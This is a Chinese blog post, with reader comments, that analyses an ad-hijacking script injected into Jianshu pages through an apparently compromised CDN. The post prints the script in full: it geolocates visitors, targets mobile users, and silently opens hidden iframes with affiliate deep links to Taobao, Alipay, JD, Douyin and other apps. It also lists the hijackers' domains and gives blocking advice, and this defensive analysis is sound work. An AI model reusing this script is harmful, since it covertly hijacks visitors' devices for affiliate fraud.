每次手机上搜资料时,只要进入了简书,那么必定会跳转到各种app(淘宝、京东、天猫、京东金融等等),很烦的啊。
2020-02-02 更新:
在csdn、豆瓣上也发现这个问题。
我还以为是我本地宽带或者dns劫持,但是我本地dns用的是114和119,很少出现这种问题,而且简书也是https,浏览器也是绿标,
所以就usb chrome 远程调试看了下,不看不知道,居然会唤醒这么多app和跳转网页。

临时解决方案
屏蔽 ad.lflucky.com 这个域名(建议屏蔽这个域名下的所有二级域名),host改也行。
方法一: 手机端使用 火狐浏览器,安装 AdGuard 广告过滤插件,屏蔽 ad.lflucky.com
方法二、有位读者推荐的软件也很不错,AdGuard Home ,安装在软路由中使用~
2020-03-09:
广告代码改为https://jian.t58b.com/js/jan/jian.js
所以,继续屏蔽 jian.t58b.com。
最后想了下,既然是cdn劫持,那么我把cdn域名一刀切怎么样,别说,效果还蛮不错的,界面干净了。
屏蔽整个cdn下的js,不过这样带来的后果是文章不能动态加载出来,只适合偶尔使用简书。
cdn2.jianshu.io/*.js
手机端用yandex浏览器,装广告屏蔽插件,屏蔽 ad.lflucky.com 这个域名(建议屏蔽这个域名下的所有二级域名),我个人装的是广告终结者,本来想装uBlock的,懒得折腾就没装。
或者路由器ad插件屏蔽这个域名。
添加屏蔽域名后完美,终于不再跳转。
分析
因为我的前端是废的,所以也只能进行简单点的分析,大佬们看看就好了。
简单分析了一下跳转js,点击 VM2486:1 进入到js,格式化后的代码如下
(function() {
function getJson(a, b) {
var c = new XMLHttpRequest();
c.open("get", a);
c.send(null);
c.onreadystatechange = function() {
if (c.readyState == 4 && c.status == 200) {
b && b(eval("(" + c.responseText + ")"))
}
}
}
function ProductLink(a) {
this.product = a.productJson;
this.disabledArea = ["UNITED STATES", "JAPAN", "SINGAPORE", "CANADA", "香港", "北京", "上海"];
this.avokeTime = a.avokeTime
}
ProductLink.prototype.init = function() {
var b = this;
if (window.navigator.platform.indexOf("Win") > -1 || window.navigator.platform.indexOf("Mac") > -1) {} else {
this.isDisabled(function() {
var a = true;
try {
for (var i = 0; i < b.disabledArea.length; i++) {
if (returnCitySN["cname"].indexOf(b.disabledArea[i]) > -1) {
a = false;
break
}
}
} catch(e) {}
if (!a) {
return
}
b.addElement()
})
}
};
ProductLink.prototype.isDisabled = function(a) {
var b = document.createElement("script");
var c = false;
document.body.appendChild(b);
b.src = "https://pv.sohu.com/cityjson";
b.onload = function() {
if (!c) {
c = true;
a && a()
}
};
setTimeout(function() {
if (!c) {
c = true;
a && a()
}
},
4000)
};
ProductLink.prototype.addElement = function() {
var a = this;
setTimeout(function() {
a.showMainProject();
a.showSecondaryProduct()
},
2000)
};
ProductLink.prototype.showMainProject = function() {
this.showAllKind(this.product.mainProduct.appLink, this.product.mainProduct.cancelTime)
};
ProductLink.prototype.showSecondaryProduct = function() {
var b = this;
var c = this.product.secondaryProduct.concat();
var d = c.length;
var e = null;
e = setInterval(function() {
if (d <= 0) {
clearInterval(e);
return
}
var a = Math.floor(Math.random() * d);
b.showAllKind(c[a].appLink, c[a].cancelTime);
c.splice(a, 1);
d--
},
b.avokeTime * 1000)
};
ProductLink.prototype.showAllKind = function(a, b) {
var c = a.concat();
var d = c.length;
var e = false;
var f = this.getCurrentDate();
while (d > 0 && !e) {
var g = Math.floor(Math.random() * d);
if (c[g].type == "random") {
this.newIframe(c[g].link, b);
e = true
} else if (c[g].type == "date") {
if (c[g][f]) {
this.newIframe(c[g][f], b);
e = true
} else {
c.splice(g, 1);
d--
}
}
}
};
ProductLink.prototype.getCurrentDate = function() {
var a = new Date(),
Y = a.getFullYear() + "-",
M = (a.getMonth() + 1 < 10 ? "0" + (a.getMonth() + 1) : a.getMonth() + 1) + "-",
D = a.getDate() < 10 ? "0" + a.getDate() : a.getDate();
return Y + M + D
};
ProductLink.prototype.newIframe = function(b, c) {
var d = document.createElement("iframe");
d.style.display = "none";
d.src = b;
document.body.appendChild(d);
var e = document.createElement("iframe");
e.style.display = "none";
e.src = "./counturl.html?url=" + encodeURIComponent(b);
document.body.appendChild(e);
setTimeout((function(m, a) {
return function() {
document.body.removeChild(m);
document.body.removeChild(a)
}
})(d, e), c * 1000)
};
getJson("./json/product.json",
function(a) {
new ProductLink(a).init()
})
})();
嗯,上面有个getJson方法,搜索了下加载记录发现域名是:
https://ad.lflucky.com/janes/json/product.json(对应ip为:59.110.185.253)
阿里云的机器,很不错,考虑到个各种不同的宽带用户给予最佳的劫持体验。
Json内容如下(时间 2019-08-31 15:52 ):
{
"productJson": {
"mainProduct": {
"appName": "tb",
"appLink": [
{
"type": "random",
"link": "tbopen://m.taobao.com/tbopen/index.html?source=auto&action=ali.open.nav&module=h5&bootImage=0&spm=2014.ugdhh.4076930961.10016-1208-32768&bc_fl_src=growth_dhh_4076930961_10016-1208-32768&materialid=10016&h5Url=https://h5.m.taobao.com/bcec/dahanghai-jump.html?spm=2014.ugdhh.4076930961.10016-1208-32768&bc_fl_src=growth_dhh_4076930961_10016-1208-32768"
}
],
"cancelTime": 5
},
"secondaryProduct": [
{
"appName": "uc",
"appLink": [
{
"type": "date",
"2019-08-30": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=17707084109410804287&type=multiple&from=6001",
"2019-08-31": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=954127903094346666&type=multiple&from=6001",
"2019-09-01": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=954127903094346666&type=multiple&from=6001",
"2019-09-02": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=954127903094346666&type=multiple&from=6001",
"2019-09-03": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=5414198177651951323&type=multiple&from=6001",
"2019-09-04": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=5414198177651951323&type=multiple&from=6001",
"2019-09-05": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=1692900910150652661&type=multiple&from=6001",
"2019-09-06": "uclink://www.uc.cn/cc77796ca7c25dff9607d31b29effc07?action=open_url&src_pkg=jixinhx&src_ch=jixinhx64&src_scene=pullup&url=ext:info_flow_open_channel:ch_id=100&insert_item_ids=1692900910150652661&type=multiple&from=6001"
}
],
"cancelTime": 5
},
{
"appName": "sjbd",
"appLink": [
{
"type": "random",
"link": "baiduboxapp://v1/easybrowse/open?url=https://dwz.cn/1VJnrokX?u=68a5251f61c446dd&needlog=1&logargs={"source":"1023217w","from":"openbox","page":"other","type":"","value":"url","channel":""}"
}
],
"cancelTime": 5
},
{
"appName": "yk",
"appLink": [
{
"type": "random",
"link": "youku://weex?source=00002184&url=https://t.youku.com/yep/page/m/sanfang1903_wmdt?wh_weex=true&isNeedBaseImage=1&refer=sanfang1903_operation.qrwang_00002184_000000_2qiMB3_19053000&refer=sanfang1903_operation.qrwang_00002184_000000_2qiMB3_19053000"
}
],
"cancelTime": 5
},
{
"appName": "wph",
"appLink": [
{
"type": "random",
"link": "vipshop://goHome?tra_from=tra:C01V4m1bc22uzug2::mig_code::ac010m4olsydie4ern10dr6k8vkne6bd"
}
],
"cancelTime": 5
},
{
"appName": "jdjr",
"appLink": [
{
"type": "random",
"link": "jdmobile://share?jumpType=8&jumpUrl=https://u.jd.com/Yxw5iX?channellv=hqtf1&channel=default&sourceUrl=1108*gt001"
}
],
"cancelTime": 5
},
{
"appName": "pdd",
"appLink": [
{
"type": "random",
"link": "pinduoduo://com.xunmeng.pinduoduo/duo_coupon_landing.html?goods_id=2338511&pid=8827514_107105089&cpsSign=CC_190820_8827514_107105089_49f497cee8712faf331724b17240bda9&duoduo_type=2"
}
],
"cancelTime": 5
},
{
"appName": "zfb",
"appLink": [
{
"type": "random",
"link": "alipays://platformapi/startapp?appClearTop=false&appId=20000067&startMultApp=YES&url=https://render.alipay.com/p/f/fd-jr8wq5v4/pages/inside/index.html?pid=2088231933430185&partnerid=fl01&__webview_options__=pd%3DNO%26ttb%3Dauto&enableWK=YES"
}
],
"cancelTime": 5
},
{
"appName": "jd",
"appLink": [
{
"type": "random",
"link": "openapp.jdmobile://virtual?params={\"category\":\"jump\",\"sourceType\":\"sourceType_test\",\"des\":\"m\",\"url\":\"https://u.jd.com/dRrNLl\",\"unionSource\":\"Awake\",\"channel\":\"cedad4c0ad02455c9a818f1b3d98da1a\",\"union_open\":\"union_cps\"}"
}
],
"cancelTime": 5
},
{
"appName": "jrtt",
"appLink": [
{
"type": "date",
"2019-08-30": "snssdk143://search?keyword=信息学奥赛取消+有学生集训数月&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-08-31": "snssdk143://search?keyword=在家乡一口气买十套房?柳岩回应&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-09-01": "snssdk143://search?keyword=国内首例克隆猫主人:花了25万&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-09-02": "snssdk143://search?keyword=迪士尼不接受调解+坚持翻包检查&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-09-03": "snssdk143://search?keyword=宠物医疗市场扩张+执业医师稀缺&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-09-04": "snssdk143://search?keyword=游客坐路中央拍照交警提醒&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-09-05": "snssdk143://search?keyword=天降垃圾砸车可起诉全楼&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26",
"2019-09-06": "snssdk143://search?keyword=健身房承诺开泳池未兑现被投诉&from=gs_ac_click_schema_lx26&growth_from=click_schema_lx26&pd=synthesis&source=click_schema_lx26&needlaunchlog=1&gd_label=click_schema_lx26"
}
],
"cancelTime": 5
},
{
"appName": "douyin",
"appLink": [
{
"type": "date",
"2019-08-30": "snssdk1128://detail?id=6727796549604150532&gd_label=click_schema_lx5",
"2019-08-31": "snssdk1128://detail?id=6727793959982157063&gd_label=click_schema_lx5",
"2019-09-01": "snssdk1128://detail?id=6728772476395949320&gd_label=click_schema_lx5",
"2019-09-02": "snssdk1128://detail?id=6728647813158145291&gd_label=click_schema_lx5",
"2019-09-03": "snssdk1128://detail?id=6729018672242871556&gd_label=click_schema_lx5",
"2019-09-04": "snssdk1128://detail?id=6729044398245498124&gd_label=click_schema_lx5",
"2019-09-05": "snssdk1128://detail?id=6728696625901980931&gd_label=click_schema_lx5"
}
],
"cancelTime": 5
}
]
},
"avokeTime": 2
}
在 productJson.secondaryProduct 看出,总共会跳转以下几个app
- UC
- sjbk(不知道是啥)
- yk(优酷)
- wph(不知道是啥)
- jdjr(京东金融)
- pdd(拼多多)
- zfb(支付宝)
- jd(京东)
- jrtt(不知道是啥)
- douyin(抖音)
可以看出来是真的恶心,最恶心的是跳转到这些页面
https://mip.yemnn.cn/llq_5/p7069z.html https://m.685862.vip/2019llq_5/p7069z.html?20190901001245&t=1786766884&f=1&i=1
导致不能后退、强制下载app,而且又得看历史记录才能到原来浏览的地方。这个部分没有重现出来,后面补上。


然后继续往上走,发现这个域名第一次出现的地方是
https://cdn2.jianshu.io/asimov/2.0a635c573bb72b959d07.js,简书的cdn
同时访问搜狐的接口进行ip地域解析,根据用户所在地区进行不同的广告或者跳转app。
剩下的不用分析也知道了,只有几种可能
- 简书 官方自己搞得跳转代码
- 简书用的cdn服务商进行的劫持
- 运营商结合cdn服务商一起劫持
此时我这里 cdn2.jianshu.io 解析的ip为:163.177.20.232
而在ipip和17ce发现,解析到这个ip的地区是广州联通、加上我的地区,会发生劫持。




Yandex浏览器添加ad插件进行屏蔽

跳转到页面,待复现分析......
更新
由于我开启了ipv6,默认解析dns变成了运营商的ipv6,导致返回的ip和公共dns不一样,运营商+cdn运营商劫持?
openwrt居然不能指定ipv6的dns,dncp给客户端的v6居然是运营商的
而电脑手机会按照v6的dns进行解析,不按照设置的v4 dns解析。

根据ipip显示信息来看,是一家 天际友盟 广告联盟,而我好奇的是,这家公司是怎么拿到简书的ssl证书的?
手机浏览器还显示绿标

更新
在禁用ipv6后,我本地使用114和119解析还是被劫持的ip


手机端360极速浏览器可以设置禁止网页跳转APP
用360了,和裸奔没啥区别~
请问不让返回的代码是什么呀
sjbd=手机百度
我因为这个都不在手机点开简书;1,噗
wph=唯品会
jrtt=今日头条
make~
我也分析出来了 ad.lflucky.com 网址,除了简书 还有 豆瓣 ...都有劫持跳转app要慢慢分析了
csdn也是,貌似cdn投毒......
我用AdGuard Home放在路由器上,从此世界清净
我也试了一下,还是挺不错的~谢谢推荐 😀
手机知乎也是这样。
互联网毒瘤, 下个手机换苹果, 安卓没人权
这个没办法,国内环境不好,各种卖流量,其实用qq浏览器之类的也可以避免这种情况,但是用了国产浏览器后……你懂的……